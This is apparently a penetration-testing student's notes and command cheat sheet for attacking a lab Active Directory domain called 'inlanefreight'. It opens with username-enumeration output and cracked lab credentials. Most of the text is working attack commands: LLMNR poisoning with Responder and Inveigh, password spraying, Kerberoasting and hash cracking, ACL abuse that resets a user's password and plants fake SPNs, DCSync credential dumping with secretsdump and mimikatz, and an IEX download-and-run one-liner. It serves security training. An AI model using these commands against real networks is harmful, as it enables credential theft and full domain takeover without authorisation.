20:24:55 \u0026gt; [+] VALID USERNAME:\ttgarcia@inlanefreight.local 2024/03/30 20:24:55 \u0026gt; [+] VALID USERNAME:\tjmay@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tjmontgomery@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tjhopkins@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tdpayne@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tmhicks@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tadunn@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tlmatthews@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tavazquez@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tmlowe@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tjmcdaniel@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tcsteele@inlanefreight.local 2024/03/30 20:24:56 \u0026gt; [+] VALID USERNAME:\tmmullins@inlanefreight.local 2024/03/30 20:24:57 \u0026gt; [+] VALID USERNAME:\tmochoa@inlanefreight.local 2024/03/30 20:24:57 \u0026gt; [+] VALID USERNAME:\taslater@inlanefreight.local 2024/03/30 20:24:57 \u0026gt; [+] VALID USERNAME:\tehoffman@inlanefreight.local 2024/03/30 20:24:57 \u0026gt; [+] VALID USERNAME:\tehamilton@inlanefreight.local 2024/03/30 20:24:57 \u0026gt; [+] VALID USERNAME:\tcpennington@inlanefreight.local 2024/03/30 20:24:58 \u0026gt; [+] VALID USERNAME:\tsrosario@inlanefreight.local 2024/03/30 20:24:58 \u0026gt; [+] VALID USERNAME:\tlbradford@inlanefreight.local 2024/03/30 20:24:58 \u0026gt; [+] VALID USERNAME:\thalvarez@inlanefreight.local 2024/03/30 20:24:58 \u0026gt; [+] VALID USERNAME:\tgmccarthy@inlanefreight.local 2024/03/30 20:24:58 \u0026gt; [+] VALID USERNAME:\tdbranch@inlanefreight.local 2024/03/30 20:24:58 \u0026gt; [+] VALID USERNAME:\tmshoemaker@inlanefreight.local 2024/03/30 20:24:59 \u0026gt; [+] VALID USERNAME:\tmholliday@inlanefreight.local 2024/03/30 20:24:59 \u0026gt; [+] VALID USERNAME:\tngriffith@inlanefreight.local 2024/03/30 20:24:59 \u0026gt; [+] VALID USERNAME:\tsinman@inlanefreight.local 2024/03/30 20:24:59 \u0026gt; [+] VALID USERNAME:\tminman@inlanefreight.local 2024/03/30 20:24:59 \u0026gt; [+] VALID USERNAME:\trhester@inlanefreight.local 2024/03/30 20:24:59 \u0026gt; [+] VALID USERNAME:\trburrows@inlanefreight.local 2024/03/30 20:25:00 \u0026gt; [+] VALID USERNAME:\tdpalacios@inlanefreight.local 2024/03/30 20:25:00 \u0026gt; [+] VALID USERNAME:\tstrent@inlanefreight.local 2024/03/30 20:25:01 \u0026gt; [+] VALID USERNAME:\tfanthony@inlanefreight.local 2024/03/30 20:25:01 \u0026gt; [+] VALID USERNAME:\tevalentin@inlanefreight.local 2024/03/30 20:25:01 \u0026gt; [+] VALID USERNAME:\tsgage@inlanefreight.local 2024/03/30 20:25:02 \u0026gt; [+] VALID USERNAME:\tjshay@inlanefreight.local 2024/03/30 20:25:03 \u0026gt; [+] VALID USERNAME:\tjhermann@inlanefreight.local 2024/03/30 20:25:03 \u0026gt; [+] VALID USERNAME:\twhouse@inlanefreight.local 2024/03/30 20:25:03 \u0026gt; [+] VALID USERNAME:\temercer@inlanefreight.local 2024/03/30 20:25:04 \u0026gt; [+] VALID USERNAME:\twshepherd@inlanefreight.local 2024/03/30 20:25:05 \u0026gt; Done! Tested 48705 usernames (56 valid) in 10.038 seconds mmorgan@INLANEFREIGHT.LOCAL:Welcome!00\nLLMNR/NBT-NS Poisoning LOOT ./hashcat.exe -m 5600 -a 0 hashes/[target-hash].hash rockyou.txt MSSQL: FOREND:Klmcargo2 SMB: wley:transporter@4 NTLMv2: backupagent:h1backup55 NTLMv2: svc_qualys:security#1\nCheatsheet Initial Enumeration\nCommand Description nslookup ns1.inlanefreight.com Used to query the domain name system and discover the IP address to domain name mapping of the target entered from a Linux-based host. sudo tcpdump -i ens224 Used to start capturing network packets on the network interface proceeding the -i option a Linux-based host. sudo responder -I ens224 -A Used to start responding to \u0026amp; analyzing LLMNR, NBT-NS and MDNS queries on the interface specified proceeding the -I option and operating in Passive Analysis mode which is activated using -A. Performed from a Linux-based host. fping -asgq 172.16.5.0/23 Performs a ping sweep on the specified network segment from a Linux-based host. sudo nmap -v -A -iL hosts.txt -oN /home/User/Documents/host-enum Performs an nmap scan that with OS detection, version detection, script scanning, and traceroute enabled (-A) based on a list of hosts (hosts.txt) specified in the file proceeding -iL. Then outputs the scan results to the file specified after the -oNoption. Performed from a Linux-based host. sudo git clone https://github.com/ropnop/kerbrute.git Uses git to clone the kerbrute tool from a Linux-based host. make help Used to list compiling options that are possible with make from a Linux-based host. sudo make all Used to compile a Kerbrute binary for multiple OS platforms and CPU architectures. ./kerbrute_linux_amd64 Used to test the chosen complied Kebrute binary from a Linux-based host. sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute Used to move the Kerbrute binary to a directory can be set to be in a Linux user\u0026rsquo;s path. Making it easier to use the tool. ./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results Runs the Kerbrute tool to discover usernames in the domain (INLANEFREIGHT.LOCAL) specified proceeding the -d option and the associated domain controller specified proceeding \u0026ndash;dcusing a wordlist and outputs (-o) the results to a specified file. Performed from a Linux-based host. LLMNR/NTB-NS Poisoning\nCommand Description responder -h Used to display the usage instructions and various options available in Responder from a Linux-based host. hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt Uses hashcat to crack NTLMv2 (-m) hashes that were captured by responder and saved in a file (frond_ntlmv2). The cracking is done based on a specified wordlist. Import-Module .\\Inveigh.ps1 Using the Import-Module PowerShell cmd-let to import the Windows-based tool Inveigh.ps1. (Get-Command Invoke-Inveigh).Parameters Used to output many of the options \u0026amp; functionality available with Invoke-Inveigh. Peformed from a Windows-based host. Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y Starts Inveigh on a Windows-based host with LLMNR \u0026amp; NBNS spoofing enabled and outputs the results to a file. .\\Inveigh.exe Starts the C# implementation of Inveigh from a Windows-based host. $regkey = \u0026quot;HKLM:SYSTEM\\CurrentControlSet\\services\\NetBT\\Parameters\\Interfaces\u0026quot; Get-ChildItem $regkey |foreach { Set-ItemProperty -Path \u0026quot;$regkey\\$($_.pschildname)\u0026quot; -Name NetbiosOptions -Value 2 -Verbose} PowerShell script used to disable NBT-NS on a Windows host. Password Spraying \u0026amp; Password Policies\nCommand Description #!/bin/bash for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}} do echo $x; done Bash script used to generate 16,079,616 possible username combinations from a Linux-based host. crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol Uses CrackMapExecand valid credentials (avazquez:Password123) to enumerate the password policy (\u0026ndash;pass-pol) from a Linux-based host. rpcclient -U \u0026quot;\u0026quot; -N 172.16.5.5 Uses rpcclient to discover information about the domain through SMB NULL sessions. Performed from a Linux-based host. rpcclient $\u0026gt; querydominfo Uses rpcclient to enumerate the password policy in a target Windows domain from a Linux-based host. enum4linux -P 172.16.5.5 Uses enum4linux to enumerate the password policy (-P) in a target Windows domain from a Linux-based host. enum4linux-ng -P 172.16.5.5 -oA ilfreight Uses enum4linux-ng to enumerate the password policy (-P) in a target Windows domain from a Linux-based host, then presents the output in YAML \u0026amp; JSON saved in a file proceeding the -oA option. ldapsearch -h 172.16.5.5 -x -b \u0026quot;DC=INLANEFREIGHT,DC=LOCAL\u0026quot; -s sub \u0026quot;*\u0026quot; | grep -m 1 -B 10 pwdHistoryLength Uses ldapsearch to enumerate the password policy in a target Windows domain from a Linux-based host. net accounts Used to enumerate the password policy in a Windows domain from a Windows-based host. Import-Module .\\PowerView.ps1 Uses the Import-Module cmd-let to import the PowerView.ps1 tool from a Windows-based host. Get-DomainPolicy Used to enumerate the password policy in a target Windows domain from a Windows-based host. enum4linux -U 172.16.5.5 | grep \u0026quot;user:\u0026quot; | cut -f2 -d\u0026quot;[\u0026quot; | cut -f1 -d\u0026quot;]\u0026quot; Uses enum4linux to discover user accounts in a target Windows domain, then leverages grep to filter the output to just display the user from a Linux-based host. rpcclient -U \u0026quot;\u0026quot; -N 172.16.5.5 rpcclient $\u0026gt; enumdomuser Uses rpcclient to discover user accounts in a target Windows domain from a Linux-based host. crackmapexec smb 172.16.5.5 --users Uses CrackMapExec to discover users (\u0026ndash;users) in a target Windows domain from a Linux-based host. ldapsearch -h 172.16.5.5 -x -b \u0026quot;DC=INLANEFREIGHT,DC=LOCAL\u0026quot; -s sub \u0026quot;(\u0026amp;(objectclass=user))\u0026quot; | grep sAMAccountName: | cut -f2 -d\u0026quot; \u0026quot; Uses ldapsearch to discover users in a target Windows doman, then filters the output using grep to show only the sAMAccountName from a Linux-based host. ./windapsearch.py --dc-ip 172.16.5.5 -u \u0026quot;\u0026quot; -U Uses the python tool windapsearch.py to discover users in a target Windows domain from a Linux-based host. for u in $(cat valid_users.txt);do rpcclient -U \u0026quot;$u%Welcome1\u0026quot; -c \u0026quot;getusername;quit\u0026quot; 172.16.5.5 | grep Authority; done Bash one-liner used to perform a password spraying attack using rpcclient and a list of users (valid_users.txt) from a Linux-based host. It also filters out failed attempts to make the output cleaner. kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1 Uses kerbrute and a list of users (valid_users.txt) to perform a password spraying attack against a target Windows domain from a Linux-based host. sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep + Uses CrackMapExec and a list of users (valid_users.txt) to perform a password spraying attack against a target Windows domain from a Linux-based host. It also filters out logon failures using grep. sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123 Uses CrackMapExec to validate a set of credentials from a Linux-based host. sudo crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep + Uses CrackMapExec and the \u0026ndash;local-auth flag to ensure only one login attempt is performed from a Linux-based host. This is to ensure accounts are not locked out by enforced password policies. It also filters out logon failures using grep. Import-Module .\\DomainPasswordSpray.ps1 Used to import the PowerShell-based tool DomainPasswordSpray.ps1 from a Windows-based host. Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue Performs a password spraying attack and outputs (-OutFile) the results to a specified file (spray_success) from a Windows-based host. Enumerating Security Controls\nCommand Description Get-MpComputerStatus PowerShell cmd-let used to check the status of Windows Defender Anti-Virus from a Windows-based host. Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections PowerShell cmd-let used to view AppLocker policies from a Windows-based host. $ExecutionContext.SessionState.LanguageMode PowerShell script used to discover the PowerShell Language Mode being used on a Windows-based host. Performed from a Windows-based host. Find-LAPSDelegatedGroups A LAPSToolkit function that discovers LAPS Delegated Groups from a Windows-based host. Find-AdmPwdExtendedRights A LAPSTookit function that checks the rights on each computer with LAPS enabled for any groups with read access and users with All Extended Rights. Performed from a Windows-based host. Get-LAPSComputers A LAPSToolkit function that searches for computers that have LAPS enabled, discover password expiration and can discover randomized passwords. Performed from a Windows-based host. Credentialed Enumeration\nCommand Description xfreerdp /u:forend@inlanefreight.local /p:Klmcargo2 /v:172.16.5.25 Connects to a Windows target using valid credentials. Performed from a Linux-based host. sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users Authenticates with a Windows target over smb using valid credentials and attempts to discover more users (\u0026ndash;users) in a target Windows domain. Performed from a Linux-based host. sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups Authenticates with a Windows target over smb using valid credentials and attempts to discover groups (\u0026ndash;groups) in a target Windows domain. Performed from a Linux-based host. sudo crackmapexec smb 172.16.5.125 -u forend -p Klmcargo2 --loggedon-users Authenticates with a Windows target over smb using valid credentials and attempts to check for a list of logged on users (\u0026ndash;loggedon-users) on the target Windows host. Performed from a Linux-based host. sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares Authenticates with a Windows target over smb using valid credentials and attempts to discover any smb shares (\u0026ndash;shares). Performed from a Linux-based host. sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share Dev-share Authenticates with a Windows target over smb using valid credentials and utilizes the CrackMapExec module (-M) spider_plus to go through each readable share (Dev-share) and list all readable files. The results are outputted in JSON. Performed from a Linux-based host. smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 Enumerates the target Windows domain using valid credentials and lists shares \u0026amp; permissions available on each within the context of the valid credentials used and the target Windows host (-H). Performed from a Linux-based host. smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only Enumerates the target Windows domain using valid credentials and performs a recursive listing (-R) of the specified share (SYSVOL) and only outputs a list of directories (\u0026ndash;dir-only) in the share. Performed from a Linux-based host. rpcclient $\u0026gt; queryuser 0x457 Enumerates a target user account in a Windows domain using its relative identifier (0x457). Performed from a Linux-based host. rpcclient $\u0026gt; enumdomusers Discovers user accounts in a target Windows domain and their associated relative identifiers (rid). Performed from a Linux-based host. psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125 Impacket tool used to connect to the CLI of a Windows target via the ADMIN$ administrative share with valid credentials. Performed from a Linux-based host. wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5 Impacket tool used to connect to the CLI of a Windows target via WMI with valid credentials. Performed from a Linux-based host. windapsearch.py -h Used to display the options and functionality of windapsearch.py. Performed from a Linux-based host. python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\\wley -p transporter@4 --da Used to enumerate the domain admins group (\u0026ndash;da) using a valid set of credentials on a target Windows domain. Performed from a Linux-based host. python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\\wley -p transporter@4 -PU Used to perform a recursive search (-PU) for users with nested permissions using valid credentials. Performed from a Linux-based host. sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all Executes the python implementation of BloodHound (bloodhound.py) with valid credentials and specifies a name server (-ns) and target Windows domain (inlanefreight.local) as well as runs all checks (-c all). Runs using valid credentials. Performed from a Linux-based host. Enumeration by Living Off the Land\nCommand Description Get-Module PowerShell cmd-let used to list all available modules, their version and command options from a Windows-based host. Import-Module ActiveDirectory Loads the Active Directory PowerShell module from a Windows-based host. Get-ADDomain PowerShell cmd-let used to gather Windows domain information from a Windows-based host. Get-ADUser -Filter {ServicePrincipalName -ne \u0026quot;$null\u0026quot;} -Properties ServicePrincipalName PowerShell cmd-let used to enumerate user accounts on a target Windows domain and filter by ServicePrincipalName. Performed from a Windows-based host. Get-ADTrust -Filter * PowerShell cmd-let used to enumerate any trust relationships in a target Windows domain and filters by any (-Filter *). Performed from a Windows-based host. Get-ADGroup -Filter * | select name PowerShell cmd-let used to enumerate groups in a target Windows domain and filters by the name of the group (select name). Performed from a Windows-based host. Get-ADGroup -Identity \u0026quot;Backup Operators\u0026quot; PowerShell cmd-let used to search for a specifc group (-Identity \u0026ldquo;Backup Operators\u0026rdquo;). Performed from a Windows-based host. Get-ADGroupMember -Identity \u0026quot;Backup Operators\u0026quot; PowerShell cmd-let used to discover the members of a specific group (-Identity \u0026ldquo;Backup Operators\u0026rdquo;). Performed from a Windows-based host. Export-PowerViewCSV PowerView script used to append results to a CSV file. Performed from a Windows-based host. ConvertTo-SID PowerView script used to convert a User or Group name to it\u0026rsquo;s SID. Performed from a Windows-based host. Get-DomainSPNTicket PowerView script used to request the kerberos ticket for a specified service principal name (SPN). Performed from a Windows-based host. Get-Domain PowerView script used tol return the AD object for the current (or specified) domain. Performed from a Windows-based host. Get-DomainController PowerView script used to return a list of the target domain controllers for the specified target domain. Performed from a Windows-based host. Get-DomainUser PowerView script used to return all users or specific user objects in AD. Performed from a Windows-based host. Get-DomainComputer PowerView script used to return all computers or specific computer objects in AD. Performed from a Windows-based host. Get-DomainGroup PowerView script used to eturn all groups or specific group objects in AD. Performed from a Windows-based host. Get-DomainOU PowerView script used to search for all or specific OU objects in AD. Performed from a Windows-based host. Find-InterestingDomainAcl PowerView script used to find object ACLs in the domain with modification rights set to non-built in objects. Performed from a Windows-based host. Get-DomainGroupMember PowerView script used to return the members of a specific domain group. Performed from a Windows-based host. Get-DomainFileServer PowerView script used to return a list of servers likely functioning as file servers. Performed from a Windows-based host. Get-DomainDFSShare PowerView script used to return a list of all distributed file systems for the current (or specified) domain. Performed from a Windows-based host. Get-DomainGPO PowerView script used to return all GPOs or specific GPO objects in AD. Performed from a Windows-based host. Get-DomainPolicy PowerView script used to return the default domain policy or the domain controller policy for the current domain. Performed from a Windows-based host. Get-NetLocalGroup PowerView script used to enumerate local groups on a local or remote machine. Performed from a Windows-based host. Get-NetLocalGroupMember PowerView script enumerate members of a specific local group. Performed from a Windows-based host. Get-NetShare PowerView script used to return a list of open shares on a local (or a remote) machine. Performed from a Windows-based host. Get-NetSession PowerView script used to return session information for the local (or a remote) machine. Performed from a Windows-based host. Test-AdminAccess PowerView script used to test if the current user has administrative access to the local (or a remote) machine. Performed from a Windows-based host. Find-DomainUserLocation PowerView script used to find machines where specific users are logged into. Performed from a Windows-based host. Find-DomainShare PowerView script used to find reachable shares on domain machines. Performed from a Windows-based host. Find-InterestingDomainShareFile PowerView script that searches for files matching specific criteria on readable shares in the domain. Performed from a Windows-based host. Find-LocalAdminAccess PowerView script used to find machines on the local domain where the current user has local administrator access Performed from a Windows-based host. Get-DomainTrust PowerView script that returns domain trusts for the current domain or a specified domain. Performed from a Windows-based host. Get-ForestTrust PowerView script that returns all forest trusts for the current forest or a specified forest. Performed from a Windows-based host. Get-DomainForeignUser PowerView script that enumerates users who are in groups outside of the user\u0026rsquo;s domain. Performed from a Windows-based host. Get-DomainForeignGroupMember PowerView script that enumerates groups with users outside of the group\u0026rsquo;s domain and returns each foreign member. Performed from a Windows-based host. Get-DomainTrustMapping PowerView script that enumerates all trusts for current domain and any others seen. Performed from a Windows-based host. Get-DomainGroupMember -Identity \u0026quot;Domain Admins\u0026quot; -Recurse PowerView script used to list all the members of a target group (\u0026ldquo;Domain Admins\u0026rdquo;) through the use of the recurse option (-Recurse). Performed from a Windows-based host. Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName PowerView script used to find users on the target Windows domain that have the Service Principal Name set. Performed from a Windows-based host. .\\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data Runs a tool called Snaffler against a target Windows domain that finds various kinds of data in shares that the compromised account has access to. Performed from a Windows-based host. Transfering Files\nCommand Description sudo python3 -m http.server 8001 Starts a python web server for quick hosting of files. Performed from a Linux-based host. \u0026quot;IEX(New-Object Net.WebClient).downloadString('http://172.16.5.222/SharpHound.exe')\u0026quot; PowerShell one-liner used to download a file from a web server. Performed from a Windows-based host. impacket-smbserver -ip 172.16.5.x -smb2support -username user -password password shared /home/administrator/Downloads/ Starts a impacket SMB server for quick hosting of a file. Performed from a Windows-based host. Kerberoasting\nCommand Description sudo python3 -m pip install . Used to install Impacket from inside the directory that gets cloned to the attack host. Performed from a Linux-based host. GetUserSPNs.py -h Impacket tool used to display the options and functionality of GetUserSPNs.py from a Linux-based host. GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday Impacket tool used to get a list of SPNs on the target Windows domain from a Linux-based host. GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request Impacket tool used to download/request (-request) all TGS tickets for offline processing from a Linux-based host. GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev Impacket tool used to download/request (-request-user) a TGS ticket for a specific user account (sqldev) from a Linux-based host. GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs Impacket tool used to download/request a TGS ticket for a specific user account and write the ticket to a file (-outputfile sqldev_tgs) linux-based host. hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force Attempts to crack the Kerberos (-m 13100) ticket hash (sqldev_tgs) using hashcat and a wordlist (rockyou.txt) from a Linux-based host. setspn.exe -Q */* Used to enumerate SPNs in a target Windows domain from a Windows-based host. Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \u0026quot;MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433\u0026quot; PowerShell script used to download/request the TGS ticket of a specific user from a Windows-based host. setspn.exe -T INLANEFREIGHT.LOCAL -Q \\*/\\* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $\\_.Context.PostContext[0].Trim() } Used to download/request all TGS tickets from a WIndows-based host. mimikatz # base64 /out:true Mimikatz command that ensures TGS tickets are extracted in base64 format from a Windows-based host. kerberos::list /export Mimikatz command used to extract the TGS tickets from a Windows-based host. echo \u0026quot;\u0026lt;base64 blob\u0026gt;\u0026quot; | tr -d \\\\n Used to prepare the base64 formatted TGS ticket for cracking from Linux-based host. cat encoded_file | base64 -d \u0026gt; sqldev.kirbi Used to output a file (encoded_file) into a .kirbi file in base64 (base64 -d \u0026gt; sqldev.kirbi) format from a Linux-based host. python2.7 kirbi2john.py sqldev.kirbi Used to extract the Kerberos ticket. This also creates a file called crack_file from a Linux-based host. sed 's/\\$krb5tgs\\$\\(.*\\):\\(.*\\)/\\$krb5tgs\\$23\\$\\*\\1\\*\\$\\2/' crack_file \u0026gt; sqldev_tgs_hashcat Used to modify the crack_file for Hashcat from a Linux-based host. cat sqldev_tgs_hashcat Used to view the prepared hash from a Linux-based host. hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt Used to crack the prepared Kerberos ticket hash (sqldev_tgs_hashcat) using a wordlist (rockyou.txt) from a Linux-based host. Import-Module .\\PowerView.ps1 Get-DomainUser * -spn | select samaccountname Uses PowerView tool to extract TGS Tickets . Performed from a Windows-based host. Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat PowerView tool used to download/request the TGS ticket of a specific ticket and automatically format it for Hashcat from a Windows-based host. Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\\ilfreight_tgs.csv -NoTypeInformation Exports all TGS tickets to a .CSV file (ilfreight_tgs.csv) from a Windows-based host. cat .\\ilfreight_tgs.csv Used to view the contents of the .csv file from a Windows-based host. .\\Rubeus.exe Used to view the options and functionality possible with the tool Rubeus. Performed from a Windows-based host. .\\Rubeus.exe kerberoast /stats Used to check the kerberoast stats (/stats) within the target Windows domain from a Windows-based host. .\\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap Used to request/download TGS tickets for accounts with the admin count set to 1 then formats the output in an easy to view \u0026amp; crack manner (/nowrap) . Performed from a Windows-based host. .\\Rubeus.exe kerberoast /user:testspn /nowrap Used to request/download a TGS ticket for a specific user (/user:testspn) the formats the output in an easy to view \u0026amp; crack manner (/nowrap). Performed from a Windows-based host. Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes PowerView tool used to check the msDS-SupportedEncryptionType attribute associated with a specific user account (testspn). Performed from a Windows-based host. hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt Used to attempt to crack the ticket hash using a wordlist (rockyou.txt) from a Linux-based host . ACL Enumeration \u0026amp; Tactics\nCommand Description Find-InterestingDomainAcl PowerView tool used to find object ACLs in the target Windows domain with modification rights set to non-built-in objects from a Windows-based host. Import-Module .\\PowerView.ps1 $sid = Convert-NameToSid wley Used to import PowerView and retrieve the SID of a specific user account (wley) from a Windows-based host. Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid} Finds all Windows domain objects that the user has rights over by mapping the user\u0026rsquo;s SID to the SecurityIdentifier property from a Windows-based host. $guid= \u0026quot;00299570-246d-11d0-a768-00aa006e0529\u0026quot; Get-ADObject -SearchBase \u0026quot;CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)\u0026quot; -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl Performs a reverse search \u0026amp; maps to a GUID value from a Windows-based host. Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} Discovers a domain object\u0026rsquo;s ACL by performing a search based on GUIDs (-ResolveGUIDs) from a Windows-based host. Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName \u0026gt; ad_users.txt Discovers a group of user accounts in a target Windows domain and adds the output to a text file (ad_users.txt) from a Windows-based host. foreach($line in [System.IO.File]::ReadLines(\u0026quot;C:\\Users\\htb-student\\Desktop\\ad_users.txt\u0026quot;)) {get-acl \u0026quot;AD:\\$(Get-ADUser $line)\u0026quot; | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\\\wley'}} Retrieves ACL information for each domain user in a target Windows domain by feeding each list of a text file (ad_users.txt) to the Get-ADUser cmdlet, then enumerates access rights of those users. Performed from a Windows-based host. $SecPassword = ConvertTo-SecureString '\u0026lt;PASSWORD HERE\u0026gt;' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\\wley', $SecPassword) Creates a PSCredential Object from a Windows-based host. $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force Creates a SecureString Object from a Windows-based host. Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose PowerView tool used to change the password of a specific user (damundsen) on a target Windows domain from a Windows-based host. Get-ADGroup -Identity \u0026quot;Help Desk Level 1\u0026quot; -Properties * | Select -ExpandProperty Members PowerView tool used to view the members of a target security group (Help Desk Level 1) from a Windows-based host. Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose PowerView tool used to add a specific user (damundsen) to a specific security group (Help Desk Level 1) in a target Windows domain from a Windows-based host. Get-DomainGroupMember -Identity \u0026quot;Help Desk Level 1\u0026quot; | Select MemberName PowerView tool used to view the members of a specific security group (Help Desk Level 1) and output only the username of each member (Select MemberName) of the group from a Windows-based host. Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose PowerView tool used to create a fake Service Principal Name given a specific user (adunn) from a Windows-based host. Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose PowerView tool used to remove the fake Service Principal Name created during the attack from a Windows-based host. Remove-DomainGroupMember -Identity \u0026quot;Help Desk Level 1\u0026quot; -Members 'damundsen' -Credential $Cred2 -Verbose PowerView tool used to remove a specific user (damundsen) from a specific security group (Help Desk Level 1) from a Windows-based host. ConvertFrom-SddlString PowerShell cmdlet used to convert an SDDL string into a readable format. Performed from a Windows-based host. DCSync\nCommand Description `Get-DomainUser -Identity adunn select samaccountname,objectsid,memberof,useraccountcontrol fl` PowerView tool used to view the group membership of a specific user (adunn) in a target Windows domain. Performed from a Windows-based host. $sid= \u0026quot;S-1-5-21-3842939050-3880317879-2865463114-1164\u0026quot; Get-ObjectAcl \u0026quot;DC=inlanefreight,DC=local\u0026quot; -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl Used to create a variable called SID that is set equal to the SID of a user account. Then uses PowerView tool Get-ObjectAcl to check a specific user\u0026rsquo;s replication rights. Performed from a Windows-based host. secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss Impacket tool used to extract NTLM hashes from the NTDS.dit file hosted on a target Domain Controller (172.16.5.5) and save the extracted hashes to a file (inlanefreight_hashes). Performed from a Linux-based host. mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\\administrator Uses Mimikatz to perform a DCSync attack from a Windows-based host. Privileged Access\nCommand Description Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName \u0026quot;Remote Desktop Users\u0026quot; PowerView tool to enumerate Remote Desktop Users group on a Windows target from a Windows-based host. Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName \u0026quot;Remote Management Users\u0026quot; PowerView tool to enumerate Remote Management Users group on a Windows target from a Windows-based host. $password = ConvertTo-SecureString \u0026quot;Klmcargo2\u0026quot; -AsPlainText -Force Creates a variable with a plaintext password for a user on a Windows-based host. $cred = new-object System.Management.Automation.PSCredential (\u0026quot;INLANEFREIGHT\\forend\u0026quot;, $password) Creates a PSCredential object with a username and password for a target domain account from a Windows-based host. Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred Establishes a PowerShell session with a target over the network using specified credentials from a Windows-based host. evil-winrm -i 10.129.201.234 -u forend Establishes a PowerShell session with a Windows target from a Linux-based host using WinRM. Import-Module .\\PowerUpSQL.ps1 Imports the PowerUpSQL tool from a Windows-based host. Get-SQLInstanceDomain Enumerates SQL server instances from a Windows-based host using PowerUpSQL. Get-SQLQuery -Verbose -Instance \u0026quot;172.16.5.150,1433\u0026quot; -username 